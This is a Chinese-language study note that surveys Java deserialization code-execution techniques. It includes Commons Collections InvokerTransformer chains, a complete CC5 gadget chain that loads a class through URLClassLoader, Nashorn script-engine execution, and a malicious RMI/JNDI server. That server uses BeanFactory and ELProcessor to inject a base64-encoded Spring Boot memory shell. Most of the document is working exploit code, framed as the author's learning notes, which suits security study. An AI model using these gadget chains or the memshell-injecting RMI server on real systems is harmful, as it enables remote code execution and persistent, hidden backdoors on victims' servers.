前言:反序列化执行任意代码的几种方式总结笔记
InvokeTransform类
执行命令的反序列化代码如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
但是这种存在局限性:
1、虽然可以执行系统命令,但是不方便完成多条命令的操作
2、无法执行更多的Java的代码,就比如想要实现多条Java代码的话,那么这里的话就没有办法进行执行,我这里指的是比如变量声明这种东西(如果你想要执行任意类的方法的话,通过InvokeTransform来进行调用,这样是可以的)
可能会有人说exec不是支持数组传参吗?是的,但是我自己尝试的时候发现无法进行多命令执行,如下图所示,但是只弹出了一个计算器
new InvokerTransformer("exec", new Class[]{String[].class}, new String[][]{{"calc","notepad"}})
所以总的来说反序列化InvokeTransform去执行命令还是有很多局限性的。
URLClassloader
URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
如果需要利用,那么前提肯定是需要出网,其实也不一定,unicodesec有篇文章看到的就是通过先写入文件,又因为URLClassloader支持file协议,加载本地jar包同样可以实现命令执行。
URLClassloader 实现了通过指定类名,去远程/本地服务器上查找 class 类文件并且进行本地执行。
这个利用的还是InvokeTransform,但是反序列化的是URLClassloader对象,上面的是通过Runtime对象
这里反序列化URLClassloader同样也可以实现命令执行,比起Runtime,它的优点在于可以可以运行Java代码,缺点利用步骤比较麻烦,需要搭建服务器等等。
URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new java.net.URL("url")).loadClass("remote_class").getMethod("do_exec").invoke(null);
我这里就拿本地来进行测试了,用的是file协议来进行测试,先打包好jar包,如下图所示
路径为:D:\ALL\javaidea\MyFirstTestMaven\CollectionsSerializable\out\artifacts\CollectionsSerializable_jar\CollectionsSerializable.jar
本地测试,可以看到成功执行了
public class TestCode {
public static void main(String[] args) throws Exception{
URL url = new URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar");
URLClassLoader.class.getConstructor(URL[].class).newInstance((Object) new URL[]{url})
.loadClass("com.zpchcbd.unicodesec.urlclassloader.RemoteObject")
.getMethod("commandExec")
.invoke(null);
}
}
接着就是来反序列化进行执行,代码如下,我这里测试的是CC5
package com.zpchcbd.unicodesec.urlclassloader;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.HashMap;
public class UrlLoader {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer(
"getConstructor",
new Class[] {Class[].class},
new Object[] {new Class[]{java.net.URL[].class}}
),
new InvokerTransformer(
"newInstance",
new Class[] {Object[].class},
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar") }}}
),
new InvokerTransformer(
"loadClass",
new Class[] {String.class},
new Object[] {"com.zpchcbd.unicodesec.urlclassloader.RemoteObject"}
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"commandExec", new Class[]{}}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new String[]{}}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// LazyMap封装
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);
// TiedMapEntry封装
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,121212121);
// BadAttributeValueExpException的val字段获取
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedMapEntry);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("urlloader.txt"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("urlloader.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
JS引擎
unicodesec推荐的使用的一种方法,既不需要出网,也支持多java代码执行,并且操作简单。
关于Javassist用法的文章参考:https://www.cnblogs.com/zpchcbd/p/14835338.html
先了解下如何使用JS引擎来执行代码
Nashorn(jdk8),Rhino(JDK 6/7),javascript等,如下图是java8中所支持的js引擎
public class JsCode {
public static void main(String[] args) throws Exception {
new ScriptEngineManager().getEngineByName("javascript").eval("print('Hello World!');");
}
}
同样的通过js代码也可以执行java代码,如下图所示
public class JsCode {
public static void main(String[] args) throws Exception {
new ScriptEngineManager().getEngineByName("Nashorn").eval(
"var a=Java.type('java.util.HashMap');" +
"print(a)");
}
}
那么想要调用Runtime的exec需要如何进行操作?这个先放着,我之后来补充...
TemplatesImpl
apache Xalan 是一个 java 操作 xml 的库。该库内置 Java 的官方库中。在 apache Xalan 的某个方法中,存在将字节码通过 defineClass 加载为类的代码。
在JNDI注入的时候会比较好用,通过配合EL表达式来实现任意代码执行。
public class RMIReferenceServerTest {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
String replacement = payload.replace("replacement", injectMemshell(SpringBootMemoryShellOfInterceptor.class));
System.out.println(replacement);
ref.add(new StringRefAddr("x", replacement));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.0.108/AAAAAA");
}
public static String injectMemshell(Class clazz){
String classCode = null;
try{
classCode = Utils.getClassCode(clazz);
}catch(Exception e){
e.printStackTrace();
}
String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
" clazz.newInstance();\n" +
"}catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
"};";
return code;
}
}